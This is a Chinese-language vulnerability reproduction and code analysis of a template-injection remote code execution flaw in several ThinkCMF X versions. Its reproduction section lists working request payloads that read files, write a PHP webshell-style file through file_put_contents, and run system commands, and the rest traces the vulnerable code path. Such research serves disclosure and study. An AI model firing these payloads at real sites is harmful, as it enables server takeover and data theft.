文章首發於freebuf:https://www.freebuf.com/vuls/218105.html
簡介
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層採用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。
影響版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
復現環境
我這裏下載的2.2.0版本,下載地址爲:thinkcmfx2.2.0
安裝過程就略過了
漏洞復現
0x01
payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.md
0x02
payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
上述請求發送後,會在thinkcmfx根目錄生成test.php,我們訪問一下:
0x03
payload:?a=fetch&content=<?php system('ping xxxxxx');?>
這種方式其實利用和pyload2一樣,只不過是直接執行系統命令,我們可以用dnslog的方式檢驗結果,如下
說明命令成功執行
漏洞分析
漏洞分析我可能不會把每行代碼的意思講清楚,但是我會分享一些我在分析這個漏洞時使用的一些小方法
審計mvc架構的應用,第一步就是找到入口,然後順着入口文件,跟着程序邏輯讀下去,直到了解程序大體運作流程,知道基本路由規則(mvc架構的審計工作主要是集中在控制器)。前面的審計開始的前置工作我就不細說了,而且在分析一個漏洞的時候這些前置工作也不一定是必須的,如果你在知道一些信息的情況下,例如,你根據漏洞披露的一些信息已經知道哪個文件有問題了,就不需要再去研究路由了,我這次的分析就是在已知一些條件的情況下進行的,所以我就沒有仔細去讀路由規則,所以,你也可以看到我後面的分析很多都採用的是猜測以及全局搜索這種方式來確定利用點,當然我後面也大概看了下路由,大概跟到App::exec()方法裏,就可以看到路由規則了,如下:
前面說了那麼多廢話…首先我們看下入口文件index.php確定應用目錄
我們到應用目錄application裏的controller看一下,根據路由或已知信息可以確定index.php的請求會被路由到indexcontroller.class.php的index()方法
這個方法也沒啥,就是調用了個display顯示了首頁的內容。這些都不是問題的關鍵,關鍵的是thinkcmf是給予tinkphp再開發的,他有一些tp的特性,例如可以通過g\m\a參數指定分組\控制器\方法,這裏可以通過a參數直接調用Portal\IndexController父類(HomebaseController)中的一些權限爲public的方法。我們自己自己在HomebaseController類中創建一個public屬性的方法
public function test1(){
echo 'hello axin';
die();
}
然後訪問http://localhost/thinkcmfx220/index.php?a=test1,結果如下
說明確實是可以訪問到public屬性的函數的,此次漏洞主要是利用HomebaseController的display以及fetch方法,因爲pyaload已經公開,那麼我們就拿payload3:?a=fetch&content=<?php system('ping xxxxxx');?>
進行分析,看一下fetch方法,如下:
payload中只是傳了一個content參數,那麼此時的content值爲php代碼,繼續跟進父類的fetch方法,這裏的父類跟蹤直接跟到了Controller.class.php中
可見這裏執行$this->view->fetch,我們繼續跟進,這裏的view就是View.class.php中的類的實例
我們主要關注的點是content變量,上面的代碼有兩個if…else語句,第一個很簡單content不爲空,所以執行else分支,第二個我們不能一眼判斷出來,但是這裏我們爲了效率也就不去深究代碼細節,我們只需要知道後面這個if…else語句到底是進入了哪個分支,所以,我們採用打印變量的方式,類似下面這樣
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
echo 33333333;
$_content = $content;
// 模板陣列變量分解成爲獨立變量
extract($this->tVar, EXTR_OVERWRITE);
// 直接載入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
echo 444444444;
// 視圖解析標籤
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
這樣當我們訪問頁面的時候,如果頁面出現33333333,則表示進入了第一個分支,否則進入了第二個分支,但是如果跟着我的思路復現了的朋友可能會發現頁面沒有任何回顯,這是因爲這段代碼前後分別調用了ob_start()與ob_get_clean()
這兩個函數的配合會把我們的輸出全部賦值給了$content變量,並不會直接輸出到瀏覽器。所以,我們在分析的時候可以先註釋掉這幾句代碼。然後根據頁面輸出我們就可以確定此處進入了else分支,分支裏主要是執行了Hook::listen()函數,這個函數是tp裏經常見的,以前我也不知道是幹嘛的,這次我專門查了一下資料,這個Hook::listen函數就相當於是調用了一個提前註冊好的類中的函數,函數默認是run函數,那麼具體調用的是哪個類的run函數呢,這個就取決於傳入的參數了,第一個參數是一個tag,這個tag是與一個類提前綁定的,第二個參數就是要傳入run函數的參數啦。那麼這個tag又是在哪裏綁定到哪個類的呢?具體在哪個文件定義了映射我也不太清楚,所以,我直接採用全局搜索(phpstorm快捷鍵ctrl+shift+f)view_parse這個tag的方式,來尋找view_parse到底代表哪個類
可以看到整個項目中出現view_parse的文件不多,最後我們確定到common.php,並在其中找到了view_parse對應的類就是Behavior\ParseTemplateBehavior
既然都找到類了,那麼就跟進去看一下啦,跟進發現裏面確實有一個run函數,確定是他沒錯了
tips:這裏跟蹤文件也有個技巧,有時候在定位某個類位於哪個文件時,我們也可以採用全局搜索的方式,或者直接用類名搜索文件名(phpstorm快捷鍵,快速按兩次shift)
又有if分支,爲了效率我們同樣可以用剛剛說的方法,判斷到底進入了哪個分支,可以注意到我在上面打了很多斷點,這個斷點是爲了標示出哪些行是我自己添加的,或者標示一些重要的邏輯處,方便我後面審計結束刪除自己添加的代碼,也可以防止中途離開再回來看代碼遺忘重點這種情況的發生,總之算是一個小技巧吧。
我這裏用我的打印調試法定位到,代碼會運行到Storage::load()這裏,我們跟進,在這裏我們使用phpstorm直接go to這種方式發現phpstorm定位不到load函數的定義處,那麼我們只有先定位Storage類,Storage類如下
發現Storage類裏面根本就沒有load方法,而且他也沒有繼承任何父類,那麼load方法到底藏在哪裏呢?這裏就涉及到__callstatic這個模式方法啦,這個方法會在調用該類不存在的靜態方法或變量時觸發,所以,load方式是通過call_user_func_array函數調用的,那到底調用的哪裏的load方法呀,這裏有兩種方式確定,一是老老實實看代碼,搞清楚self::handler到底值爲多少,第二種就是我採用的全局搜索的方法,我不想一行行看代碼,直接全局搜索load(
出來的結果挺多的,但是我們根據之前調用時的參數,可以大體確定是上圖中的其中一個,最後再結合自己的判斷力或者都試一下確定是File.class.php(其實這裏我是猜的23333,文件名更貼切嘛)中的load函數,跟進
結果發現,就只是引入了一個文件,我這就急眼了呀,我想這麼就引入一個文件就完了呢,那我傳入的content什麼時候寫入到這個文件的呀,我覺得我肯定是遺漏了什麼東西,於是開始順着這個文件找線索,看看到底哪裏把傳入的content寫入了這個文件,還是用我們的打印調試法確定這個文件的路徑在
/data/runtime/Cache/Portal/
然後文件名的命名規則可以從傳給Storage::load函數的參數裏確定
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
我採用了幾種方法來定位到底哪裏把content寫入了文件,第一種方式就是全局搜索C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX')
因爲這是文件的命名規則,寫入的時候肯定也是這個規則,但是結果失敗了,只出現一條結果就是load這裏,然後我就在想剛剛File.class.php裏面有load函數,那麼應該也有寫入函數(set,write之類的),結果一看果然有!
那我不得全局搜索一波嘛,在我搜索put的時候有所發現,再根據/data/runtime/Cache/Portal/目錄下生成的cache文件的文件名、文件內容、調用put函數時傳入的實參命名、實參個數以及調用put函數的文件名等多個數據參考,以及失措過後,覺得Template.class.php文件這一處put函數的調用極有可能就是了,這裏的loadTemplate函數裏有調用put函數的操作,反推,loadTemplate函數又在fetch函數裏被調用了,然後我以爲我之前跟代碼的時候跟錯了fetch,23333,回到ParseTemplateBehavior.class.php去確認
回到ParseTemplateBehavior.class.php中才發現這個被我忽視的else分支,這裏不就調用了template的fetch方法嗎,於是喜上眉梢,那麼什麼時候會進入else分支呢
這裏我做了一個合理的猜測,就是傳入的參數是之前沒有傳過的,那麼就會進入else,否則進入if,然後我在else分支添加了一行echo 444444
;然後請求?a=fetch&content=phpinfo
(這個請求是之前沒有發送過的)
果然頁面打印處444444,說明進入了else分支,那麼content的流向就很清晰了:
先是順着上面的路徑寫入cache文件,最後調用Storage::load加載cache文件,最終導致代碼執行。
啊~這一處的payload就先寫到這吧,好久沒寫文章了,累死了~